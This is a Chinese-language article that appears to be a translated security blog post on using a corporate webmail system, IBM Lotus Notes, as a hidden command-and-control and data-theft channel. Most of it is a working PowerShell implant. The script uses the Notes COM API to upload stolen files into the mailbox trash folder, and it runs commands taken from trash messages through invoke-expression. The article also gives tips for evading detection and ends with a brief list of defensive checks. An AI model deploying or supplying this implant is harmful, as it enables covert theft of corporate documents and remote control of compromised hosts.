利用企業(yè)郵件系統(tǒng)構(gòu)造命令控制(C&C)和數(shù)據(jù)竊?。‥xfiltration)通道的思路探討
假設(shè)場景
我們假設(shè)目標(biāo)企業(yè)組織內(nèi)設(shè)置了這樣一種安全措施:
01:內(nèi)部用戶工作站電腦不能直接連接互聯(lián)網(wǎng),只能通過其中架設(shè)的代理服務(wù)器執(zhí)行外部Web請求和DNS查詢,而且代理服務(wù)器又設(shè)置了流量監(jiān)控功能,由其產(chǎn)生的HTTP和DNS請求流量都能被監(jiān)測發(fā)現(xiàn)。
02:由于從某種程度上來說,代理服務(wù)器“打破”了內(nèi)部用戶機(jī)與外部服務(wù)器之間點(diǎn)對點(diǎn)連接模式,包括HTTPS方式,所以像Domain fronting這種隱蔽攻擊方式一樣可以被監(jiān)測到,所以只有一些白名單網(wǎng)站可以被放行通過。
03:這種環(huán)境下,企業(yè)的大部分內(nèi)部服務(wù)器都被設(shè)置了聯(lián)網(wǎng)限制,當(dāng)然也就不存在服務(wù)暴露情況,因?yàn)樗衅髽I(yè)相關(guān)網(wǎng)站或博客等服務(wù)可能都被部署在谷歌云存儲平臺,只有網(wǎng)站管理員以相應(yīng)的企業(yè)社交網(wǎng)絡(luò)賬號從其它隔離的工作站電腦上登錄進(jìn)入管理面板,才能進(jìn)行內(nèi)容更新修改操作。
在這種場景下,傳統(tǒng)的通過Web或DNS方式進(jìn)行的C&C(命令控制)和數(shù)據(jù)竊取操作貌似不可行,此時,我們可以嘗試使用另外一種奇技淫巧:利用企業(yè)網(wǎng)頁郵件系統(tǒng)。
利用思路
如今,靈活便捷的企業(yè)郵箱登錄是辦公手段的必需,如果不考慮所有安全措施,抽象意義上來說,郵箱系統(tǒng)是所有內(nèi)網(wǎng)環(huán)境(如員工電腦)和各式外網(wǎng)終端,如公司配發(fā)的具有郵箱登錄入口APP的智能手機(jī)和平板、通過瀏覽器方式以IBM iNotes或Microsoft OWA訪問登錄的電腦等。很多情況下,這種聯(lián)網(wǎng)的企業(yè)網(wǎng)頁郵件系統(tǒng)大多都不具備雙因素認(rèn)證(2FA)和VPN集中器等安全機(jī)制。而且,很多移動端APP都缺乏OAuth或“應(yīng)用密碼”等授權(quán)認(rèn)證機(jī)制,只需用戶名密碼就可對接入系統(tǒng)進(jìn)行直接登錄配置。
因此,如果我們通過網(wǎng)絡(luò)攻擊方式或從一些泄露數(shù)據(jù)庫中,獲取到目標(biāo)機(jī)構(gòu)運(yùn)行于互聯(lián)網(wǎng)上的有效企業(yè)郵箱系統(tǒng)用戶登錄憑據(jù)(用戶名/密碼)后,可以藉此為突破口控制利用該企業(yè)用戶電子郵箱,感染內(nèi)網(wǎng)用戶主機(jī),滲透進(jìn)入企業(yè)內(nèi)網(wǎng)。之后,針對我們植入的惡意軟件,可以構(gòu)造這樣一種C&C通道:在該企業(yè)用戶電子郵箱的垃圾箱文件夾內(nèi)設(shè)置特殊格式消息文件,惡意軟件通過讀取這種消息文件信息,執(zhí)行我們的控制命令;當(dāng)然,也可以構(gòu)造一種類似的數(shù)據(jù)竊取(exfiltration)通道:植入的惡意軟件把從企業(yè)機(jī)構(gòu)內(nèi)部竊取的文檔數(shù)據(jù),上傳存儲到該企業(yè)用戶電子郵箱的垃圾箱文件夾內(nèi)(這些文檔數(shù)據(jù)可以是加密或其它方式的存在),之后,我們可以遠(yuǎn)程登錄進(jìn)入網(wǎng)頁郵件系回收這些文檔數(shù)據(jù),并且可以不留痕跡地刪除這些存儲數(shù)據(jù)。
盡管技術(shù)上看似簡單,但很難從所有合法網(wǎng)絡(luò)流量中識別出C&C和Exfiltration方式流量。例如,企業(yè)用戶在19:00下班,我們可以在已經(jīng)滲透控制的目標(biāo)企業(yè)用戶主機(jī)上,在18:30時刻(下班前繁忙的網(wǎng)絡(luò)流量中很難被發(fā)覺是有規(guī)律的訪問行為),通過植入木馬把竊取文檔數(shù)據(jù)上傳至被控制電子郵箱的垃圾文件夾內(nèi),之后,在20:30時刻,通過Webmail或移動終端API回收竊取數(shù)據(jù),因?yàn)樵摃r段很難區(qū)分出到底是在員工家中還是企業(yè)手機(jī)端的訪問行為。
由于我們不是把消息或數(shù)據(jù)發(fā)送到外部地址,而是通過郵箱自動發(fā)送或向特定文件夾內(nèi)上傳消息文件,所以,這種操作行為,在所有進(jìn)出的SMTP流量中也很難被發(fā)現(xiàn)。另外,還可以通過其它手段來增加檢測發(fā)現(xiàn)難度:當(dāng)被滲透控制的企業(yè)用戶主機(jī)啟動郵箱客戶端程序時,運(yùn)行植入的惡意程序,通過企業(yè)內(nèi)網(wǎng)非黑名單IP接入Webmail端,使用與目標(biāo)企業(yè)機(jī)構(gòu)相同的移動運(yùn)營商、程序終端、操作系統(tǒng)或?yàn)g覽器等。
概念性驗(yàn)證攻擊展示(PoC)
我們以IBM Lotus Notes郵件系統(tǒng)為例,作一個概念性驗(yàn)證展示。企業(yè)如果架設(shè)了IBM Lotus Notes郵件系統(tǒng),則對企業(yè)內(nèi)網(wǎng)用戶來說,可以使用Notes的郵件客戶端,而外網(wǎng)用戶則可以通過Webmail方式或該郵件系統(tǒng)的IBM Verse移動APP終端進(jìn)行訪問。
另外,有意思的是,Lotus Notes還提供了對郵件客戶端的郵件定制開發(fā)API,其中具有一個COM組件方法Notes.NotesSession,我們可以利用它來進(jìn)行方法調(diào)用和定制語言選擇。在這里,我們使用PowerShell腳本作為PoC驗(yàn)證。
在我們控制利用的企業(yè)用戶電子郵箱中,包含可以定期執(zhí)行我們控制命令的簡單PowerShell腳本。我們向企業(yè)內(nèi)網(wǎng)植入的惡意程序,將以預(yù)期任務(wù)、WMI或其它復(fù)雜技巧來請求這些腳本來實(shí)現(xiàn)命令控制。
在此,如果Notes郵件客戶端正常運(yùn)行的情況下,我們將只利用其COM組件方法來對郵件作一些定制調(diào)用,因?yàn)檫@樣可以避免一些用戶端的報(bào)警警告:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
如果Notes郵件客戶端沒有運(yùn)行,我們可以初始化COM組件,并打開默認(rèn)配置的數(shù)據(jù)庫和服務(wù)器:
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
之后,我們可以定義數(shù)據(jù)竊取Exfiltrate()方法,來存儲竊取文檔并上傳到被控制利用的企業(yè)用戶電子郵箱垃圾文件夾內(nèi):
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
在以上代碼中,可以看到,我們通過實(shí)例化方法$db.createdocument()創(chuàng)建了一個新文檔,并把文檔附加第一個參數(shù)中,以$doc.save()方法進(jìn)行保存,之后調(diào)用$doc.remove()方法把文件刪除到電子郵箱的垃圾文件夾內(nèi)(PS:如果我們不調(diào)用remove()方法,則新建文檔將會存儲在一個未知文件夾內(nèi),不會出現(xiàn)在收件箱內(nèi),只能通過選擇“所有附件”按鈕才能看到,這也算是另外一種隱蔽消息的方法)。
最終,可以構(gòu)造形如以下的C&C命令腳本,讓植入的惡意程序進(jìn)行讀取執(zhí)行:
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
首先,我們打開$SoftDeletions方法查看Notes郵箱數(shù)據(jù)庫,并以此方式調(diào)用電子郵箱的垃圾文件夾,以$trash.getfirstdocument()方法查看所有垃圾文件夾內(nèi)的文件,如果其涉及主題為“powershell”字符串,我們將進(jìn)一步讀取其郵件主體信息,一旦執(zhí)行完內(nèi)置該P(yáng)owershell的Payload之后,將調(diào)用$doc.removepermanently()方法進(jìn)行永久刪除。
實(shí)際利用
我們?nèi)绾蝸聿僮鬟@段簡單的PoC呢?前提是我們獲得了能登錄Webmail端的企業(yè)員工有效用戶名密碼,并向企業(yè)內(nèi)網(wǎng)某主機(jī)植入了竊取數(shù)據(jù)的惡意程序。攻擊者從互聯(lián)網(wǎng)登錄進(jìn)入該企業(yè)員工被控制利用的Webmail端,并以Powershell方式向其郵箱內(nèi)自動發(fā)送消息郵件的大致方式如下:
該消息郵件被刪除之后,進(jìn)入郵箱垃圾文件夾:
我們植入的惡意程序在內(nèi)網(wǎng)主機(jī)運(yùn)行之后,可以設(shè)置其檢索該郵箱垃圾文件夾內(nèi)的以上Powershell消息郵件,通過讀取該郵件體中內(nèi)置的內(nèi)容執(zhí)行命令。如以上郵件消息中設(shè)置把竊取文件存儲到c:\windows\temp\ps.txt文件內(nèi),并通過郵件上傳附件實(shí)現(xiàn)exfiltrate方法的文檔外傳竊取。
當(dāng)然,如果攻擊者通過互聯(lián)網(wǎng)方式登錄進(jìn)入Webmail端后,將會在郵箱垃圾文件夾發(fā)現(xiàn)以下存儲的竊取文件:
我們可以看到,郵箱垃圾文件夾的該消息郵件,沒有任何主題(subject)和來源(from)信息,并具有一個名為ps.txt的附件:
最終,攻擊者只需簡單地下載該文件并刪除垃圾文件夾內(nèi)信息,就能以這種“暗度陳倉”的方式實(shí)現(xiàn)C&C命令控制和數(shù)據(jù)竊取(Exfiltration)。以下為該過程中利用的完整Powershell腳本:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
如果目標(biāo)企業(yè)機(jī)構(gòu)使用的是其它架構(gòu)郵箱系統(tǒng),如Microsoft (Exchange/Outlook/OWA)等,這其中相關(guān)的消息、收件箱、文件夾和命令等屬性操作可以直接應(yīng)用到植入的惡意程序配置內(nèi)。
如何檢測此類可疑行為?
- 對企業(yè)郵箱系統(tǒng)設(shè)置雙因素認(rèn)證機(jī)制;
- 監(jiān)測郵箱內(nèi)奇怪的附件信息,如PowerShell腳本、加密數(shù)據(jù)、混淆數(shù)據(jù),監(jiān)測對郵箱的異常訪問和操作行為;
- 企業(yè)郵箱系統(tǒng)訪問IP限制,如Tor、VPN、國家或黑名單等;
- 限制與企業(yè)移動運(yùn)營商不同的其它移動運(yùn)營商APP會話訪問;
- 企業(yè)郵箱賬戶不常登錄使用的瀏覽器識別;
- 監(jiān)測郵件自動消息發(fā)送行為;
- 監(jiān)測識別企業(yè)用戶主機(jī)登錄訪問企業(yè)郵箱行為……